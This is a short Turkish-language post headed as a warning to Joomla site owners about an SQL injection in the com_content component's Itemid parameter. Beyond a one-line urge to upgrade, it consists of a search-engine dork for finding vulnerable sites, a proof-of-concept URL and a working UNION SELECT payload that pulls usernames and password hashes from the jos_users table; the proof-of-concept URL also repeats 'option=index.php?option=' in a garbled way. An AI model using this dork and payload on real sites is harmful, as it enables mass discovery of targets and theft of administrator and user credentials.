Joomla Sitelerin Dikkatine

Joomla Component com_content 1.0.0 (Itemid) SQL Injection Vulnerability Açığı için acil sürüm yükseltilmesi gerekiyor..


joomla Component com_content 1.0.0 (Itemid) SQL Injection Vulnerability Açığı Hakkında.

Author : unknown_styler

Dork : inurl:com_content

POC :
http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}


Example :
http://localhost/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999%20union%20select%201,concat_ws(0x3a,username,password),3,4,5%20from%20jos_users/* 

 
 
[ Geri ]